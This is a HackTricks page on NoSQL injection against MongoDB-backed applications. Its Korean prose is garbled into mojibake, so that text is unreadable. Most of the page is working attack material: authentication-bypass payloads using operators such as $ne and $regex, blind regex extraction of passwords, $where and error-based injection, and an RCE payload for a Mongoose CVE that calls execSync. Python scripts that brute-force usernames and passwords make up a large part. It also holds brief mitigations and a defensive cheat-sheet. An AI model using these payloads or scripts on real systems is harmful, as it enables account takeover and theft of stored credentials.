NoSQL injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Exploit
PHP์์๋ _parameter=foo_์์ _parameter[arrName]=foo_๋ก ์ ์ก๋ ๋งค๊ฐ๋ณ์๋ฅผ ๋ณ๊ฒฝํ์ฌ ๋ฐฐ์ด์ ๋ณด๋ผ ์ ์์ต๋๋ค.
์ต์คํ๋ก์์ ์ฐ์ฐ์๋ฅผ ์ถ๊ฐํ๋ ๋ฐ ๊ธฐ๋ฐํฉ๋๋ค:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
๊ธฐ๋ณธ ์ธ์ฆ ์ฐํ
๊ฐ์ง ์์ ($ne) ๋๋ ํผ ($gt) ์ฌ์ฉ
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
SQL - Mongo
query = { $where: `this.username == '${username}'` }
๊ณต๊ฒฉ์๋ admin' || 'a'=='a์ ๊ฐ์ ๋ฌธ์์ด์ ์
๋ ฅํ์ฌ ์ด๋ฅผ ์
์ฉํ ์ ์์ผ๋ฉฐ, ์ด๋ ์ฟผ๋ฆฌ๊ฐ ์๋ช
ํ ์กฐ๊ฑด('a'=='a')์ ๋ง์กฑ์์ผ ๋ชจ๋ ๋ฌธ์๋ฅผ ๋ฐํํ๊ฒ ๋ง๋ญ๋๋ค. ์ด๋ ' or 1=1-- -์ ๊ฐ์ ์
๋ ฅ์ ์ฌ์ฉํ์ฌ SQL ์ฟผ๋ฆฌ๋ฅผ ์กฐ์ํ๋ SQL ์ธ์ ์
๊ณต๊ฒฉ๊ณผ ์ ์ฌํฉ๋๋ค. MongoDB์์๋ ' || 1==1//, ' || 1==1%00, ๋๋ admin' || 'a'=='a์ ๊ฐ์ ์
๋ ฅ์ ์ฌ์ฉํ์ฌ ์ ์ฌํ ์ธ์ ์
์ ์ํํ ์ ์์ต๋๋ค.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
๊ธธ์ด ์ ๋ณด ์ถ์ถ
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
๋ฐ์ดํฐ ์ ๋ณด ์ถ์ถ
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
SQL - Mongo
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
PHP ์์ ํจ์ ์คํ
๊ธฐ๋ณธ์ ์ผ๋ก ์ฌ์ฉ๋๋ MongoLite ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ $func ์ฐ์ฐ์๋ฅผ ์ฌ์ฉํ์ฌ ์ด ๋ณด๊ณ ์์ ๊ฐ์ด ์์์ ํจ์๋ฅผ ์คํํ ์ ์์ ์ ์์ต๋๋ค.
"user":{"$func": "var_dump"}
.png)
๋ค๋ฅธ ์ปฌ๋ ์ ์์ ์ ๋ณด ๊ฐ์ ธ์ค๊ธฐ
$lookup์ ์ฌ์ฉํ์ฌ ๋ค๋ฅธ ์ปฌ๋ ์
์์ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค. ๋ค์ ์์ ์์๋ **users**๋ผ๋ ๋ค๋ฅธ ์ปฌ๋ ์
์์ ์ฝ๊ณ , ์์ผ๋์นด๋์ ์ผ์นํ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ฐ์ง ๋ชจ๋ ํญ๋ชฉ์ ๊ฒฐ๊ณผ๋ฅผ ๊ฐ์ ธ์ต๋๋ค.
์ฐธ๊ณ : $lookup ๋ฐ ๊ธฐํ ์ง๊ณ ํจ์๋ find() ๋๋ findOne() ํจ์ ๋์ aggregate() ํจ์๋ฅผ ์ฌ์ฉํ์ฌ ๊ฒ์์ ์ํํ ๊ฒฝ์ฐ์๋ง ์ฌ์ฉํ ์ ์์ต๋๋ค.
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
Error-Based Injection
throw new Error(JSON.stringify(this))๋ฅผ $where ์ ์ ์ฃผ์
ํ์ฌ ์๋ฒ ์ธก JavaScript ์ค๋ฅ๋ฅผ ํตํด ์ ์ฒด ๋ฌธ์๋ฅผ ์ ์ถํฉ๋๋ค(์ ํ๋ฆฌ์ผ์ด์
์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ค๋ฅ๋ฅผ ์ ์ถํด์ผ ํจ). ์:
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
Recent CVEs & Real-World Exploits (2023-2025)
Rocket.Chat ์ธ์ฆ๋์ง ์์ ๋ธ๋ผ์ธ๋ NoSQLi โ CVE-2023-28359
๋ฒ์ โค 6.0.0์ ์ฌ์ฉ์ ์ ์ด selector ๊ฐ์ฒด๋ฅผ find()์ ์ง์ ์ ๋ฌํ๋ Meteor ๋ฉ์๋ listEmojiCustom์ ๋
ธ์ถํ์ต๋๋ค. {"$where":"sleep(2000)||true"}์ ๊ฐ์ ์ฐ์ฐ์๋ฅผ ์ฃผ์
ํจ์ผ๋ก์จ ์ธ์ฆ๋์ง ์์ ๊ณต๊ฒฉ์๋ ํ์ด๋ฐ ์ค๋ผํด์ ๊ตฌ์ถํ๊ณ ๋ฌธ์๋ฅผ ์ ์ถํ ์ ์์์ต๋๋ค. ์ด ๋ฒ๊ทธ๋ 6.0.1์์ selector ํํ๋ฅผ ๊ฒ์ฆํ๊ณ ์ํํ ์ฐ์ฐ์๋ฅผ ์ ๊ฑฐํ์ฌ ํจ์น๋์์ต๋๋ค.
Mongoose populate().match $where RCE โ CVE-2024-53900 & CVE-2025-23061
populate()๊ฐ match ์ต์
๊ณผ ํจ๊ป ์ฌ์ฉ๋ ๋, Mongoose (โค 8.8.2)๋ MongoDB์ ์ ์กํ๊ธฐ ์ ์ ๊ฐ์ฒด๋ฅผ ๊ทธ๋๋ก ๋ณต์ฌํ์ต๋๋ค. ๋ฐ๋ผ์ $where๋ฅผ ์ ๊ณตํ๋ฉด ์๋ฒ ์ธก JS๊ฐ MongoDB์์ ๋นํ์ฑํ๋์ด ์์ด๋ JavaScript๊ฐ Node.js ๋ด๋ถ์์ ์คํ๋์์ต๋๋ค:
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author }); // RCE
์ฒซ ๋ฒ์งธ ํจ์น(8.8.3)๋ ์ต์์ $where๋ฅผ ์ฐจ๋จํ์ง๋ง, $or ์๋์ ์ค์ฒฉ์ํค๋ฉด ํํฐ๋ฅผ ์ฐํํ ์ ์์ด CVE-2025-23061๋ก ์ด์ด์ก์ต๋๋ค. ์ด ๋ฌธ์ ๋ 8.9.5์์ ์์ ํ ์์ ๋์๊ณ , ์๋ก์ด ์ฐ๊ฒฐ ์ต์
sanitizeFilter: true๊ฐ ๋์
๋์์ต๋๋ค.
GraphQL โ Mongo ํํฐ ํผ๋
args.filter๋ฅผ collection.find()์ ์ง์ ์ ๋ฌํ๋ ๋ฆฌ์กธ๋ฒ๋ ์ฌ์ ํ ์ทจ์ฝํฉ๋๋ค:
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
Mitigations: $๋ก ์์ํ๋ ํค๋ฅผ ์ฌ๊ท์ ์ผ๋ก ์ ๊ฑฐํ๊ฑฐ๋, ํ์ฉ๋ ์ฐ์ฐ์๋ฅผ ๋ช
์์ ์ผ๋ก ๋งคํํ๊ฑฐ๋, ์คํค๋ง ๋ผ์ด๋ธ๋ฌ๋ฆฌ(Joi, Zod)๋ก ๊ฒ์ฆํฉ๋๋ค.
Defensive Cheat-Sheet (updated 2025)
$๋ก ์์ํ๋ ํค๋ ์ ๊ฑฐํ๊ฑฐ๋ ๊ฑฐ๋ถํฉ๋๋ค (express-mongo-sanitize,mongo-sanitize, MongoosesanitizeFilter:true).- ์์ฒด ํธ์คํ
๋ MongoDB์์ ์๋ฒ ์ธก JavaScript๋ฅผ ๋นํ์ฑํํฉ๋๋ค (
--noscripting, v7.0+์์ ๊ธฐ๋ณธ๊ฐ). $where๋์$expr๋ฐ ์ง๊ณ ๋น๋๋ฅผ ์ ํธํฉ๋๋ค.- ๋ฐ์ดํฐ ์ ํ์ ์กฐ๊ธฐ์ ๊ฒ์ฆํฉ๋๋ค (Joi/Ajv) ๋ฐ ์ค์นผ๋ผ๊ฐ ์์๋๋ ๊ณณ์์ ๋ฐฐ์ด์ ํ์ฉํ์ง ์์
[$ne]ํธ๋ฆญ์ ํผํฉ๋๋ค. - GraphQL์ ๊ฒฝ์ฐ, ํ์ฉ ๋ชฉ๋ก์ ํตํด ํํฐ ์ธ์๋ฅผ ๋ณํํฉ๋๋ค; ์ ๋ขฐํ ์ ์๋ ๊ฐ์ฒด๋ฅผ ์ ๋ ์ ํํ์ง ๋ง์ญ์์ค.
MongoDB Payloads
List from here
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
๋ธ๋ผ์ธ๋ NoSQL ์คํฌ๋ฆฝํธ
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
POST ๋ก๊ทธ์ธ์์ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ์ ๋ํ ๋ฌด์ฐจ๋ณ ๋์ ๋ก๊ทธ์ธ
์ด๊ฒ์ ์์ ํ ์ ์๋ ๊ฐ๋จํ ์คํฌ๋ฆฝํธ์ด์ง๋ง ์ด์ ๋๊ตฌ๋ค๋ ์ด ์์ ์ ์ํํ ์ ์์ต๋๋ค.
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
๋๊ตฌ
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
- https://github.com/ImKKingshuk/StealthNoSQL
- https://github.com/Charlie-belmer/nosqli
์ฐธ๊ณ ๋ฌธํ
- https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://nullsweep.com/a-nosql-injection-primer-with-mongo/
- https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb
- https://sensepost.com/blog/2025/nosql-error-based-injection/
- https://nvd.nist.gov/vuln/detail/CVE-2023-28359
- https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


